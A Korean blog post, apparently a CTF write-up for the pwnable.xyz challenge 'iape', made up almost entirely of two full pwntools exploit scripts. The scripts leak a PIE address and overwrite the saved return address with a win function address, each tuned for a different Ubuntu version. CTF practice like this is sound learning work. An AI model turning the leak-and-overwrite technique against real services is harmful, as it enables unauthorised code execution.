본문 바로가기

pwn/pwnable.xyz

pwnable.xyz / iape

로컬에서는 잘만되는데 리모트에서는 깨진다...하...
버전 문제였던것 같다 18.04버전과 20.02버전에서의 PIE상태가 달라서 문제가 생긴 것 같다
PIE하나 릭한 뒤 ret 주소 덮으면 된다

ubuntu 20.02

from pwn import *
#context.log_level = "debug"

p = remote("svc.pwnable.xyz", 30014)
#p = process("./iape")
#gdb.attach(p)

arr_len = 0x400
ret_len = arr_len + 0x10
win_off = 0xb5b


def print_():
    p.recvuntil(b"> ")
    p.sendline(b"3")

def leak_append():
    p.recvuntil(b"> ")
    p.sendline(b"2")

    p.recvuntil(b"Give me ")
    num = int(p.recv(2))

    if num >= 14:
        p.recvuntil(b"chars: ")
        pay = b"A" * 9
        pay += b"B"
        p.send(pay)
        return num
    elif num == 0:
        return 0
    else:
        p.send(b"\x00")
        return 0

def append(win, payload, buf_len, target_len):
    p.recvuntil(b"> ")
    p.sendline(b"2")

    p.recvuntil(b"Give me ")
    num = int(p.recv(2))

    p.recvuntil(b"chars: ")
    
    if buf_len + num > target_len - 8:
        if num >= 2:
            pay = payload[:1]
            pay += b"\x00"
            p.send(pay)
            return 1
        elif num == 0:
            return 0
        else:
            p.send(b"\x00")
            return 0

    else:
        if num >= 2:
            pay = payload[:num -1]
            pay += b"\x00"
            p.send(pay)
            return num - 1
        elif num == 0:
            return 0
        else:
            p.send(b"\x00")
            return 0

pie = b"\x00" * 2
buf_len = 0 
# PIE leak
while True:
    num = leak_append()
    if num != 0:
        buf_len += num
        break

print_()
p.recvuntil(b"B")
pie += p.recv(4)
pie += b"\x00\x00"
pie = u64(pie)
win = pie + win_off

payload = b"A" * (ret_len - 8 - buf_len)
payload += p64(win)

#  overwrite ret
while True:
    num = append(win, payload, buf_len, ret_len)
    buf_len += num
    payload = payload[num:]
    print(f"length: {len(payload)}")
    print(f"{buf_len} / {ret_len}")
    #print(f"payload : {payload}")
    if buf_len >= ret_len:
        break

print("pie: " + hex(pie))
print("win: " + hex(win))

p.recvuntil(b"> ")
p.sendline(b"0")

p.interactive()


ubuntu 18.04

from pwn import *
#context.log_level = "debug"

p = remote("svc.pwnable.xyz", 30014)
#p = process("./iape")
#gdb.attach(p)

arr_len = 0x400
ret_len = arr_len + 0x10
win_off = 0xb5b


def print_():
    p.recvuntil(b"> ")
    p.sendline(b"3")

def leak_append():
    p.recvuntil(b"> ")
    p.sendline(b"2")

    p.recvuntil(b"Give me ")
    num = int(p.recv(2))

    if num >= 14:
        p.recvuntil(b"chars: ")
        pay = b"A" * 7
        pay += b"B"
        p.send(pay)
        return num
    elif num == 0:
        return 0
    else:
        p.send(b"\x00")
        return 0

def append(win, payload, buf_len, target_len):
    p.recvuntil(b"> ")
    p.sendline(b"2")

    p.recvuntil(b"Give me ")
    num = int(p.recv(2))

    p.recvuntil(b"chars: ")
    
    if buf_len + num > target_len - 8:
        if num >= 2:
            pay = payload[:1]
            pay += b"\x00"
            p.send(pay)
            return 1
        elif num == 0:
            return 0
        else:
            p.send(b"\x00")
            return 0

    else:
        if num >= 2:
            pay = payload[:num -1]
            pay += b"\x00"
            p.send(pay)
            return num - 1
        elif num == 0:
            return 0
        else:
            p.send(b"\x00")
            return 0

buf_len = 0 
# PIE leak
while True:
    num = leak_append()
    if num != 0:
        buf_len += num
        break

print_()
p.recvuntil(b"B")
leak_pie = p.recv(6)
leak_pie += b"\x00\x00"
leak_pie = u64(leak_pie)
pie = leak_pie - 0xbc2

win = pie + win_off

payload = b"A" * (ret_len - 8 - buf_len)
payload += p64(win)

#  overwrite ret
while True:
    num = append(win, payload, buf_len, ret_len)
    buf_len += num
    payload = payload[num:]
    print(f"length: {len(payload)}")
    print(f"{buf_len} / {ret_len}")
    #print(f"payload : {payload}")
    if buf_len >= ret_len:
        break

print("leak pie: " + hex(leak_pie))
print("pie: " + hex(pie))
print("win: " + hex(win))

p.recvuntil(b"> ")
p.sendline(b"0")

p.interactive()

참...ㅋㅋㅋ

'pwn > pwnable.xyz' 카테고리의 다른 글

pwnable.xyz / message  (0) 2022.05.20
pwnable.xyz / UAF  (0) 2022.05.19
pwnable.xyz / strcat  (0) 2022.05.18
pwnable.xyz / J-U-M-P  (0) 2022.05.15
pwnable.xyz / sus  (0) 2022.05.14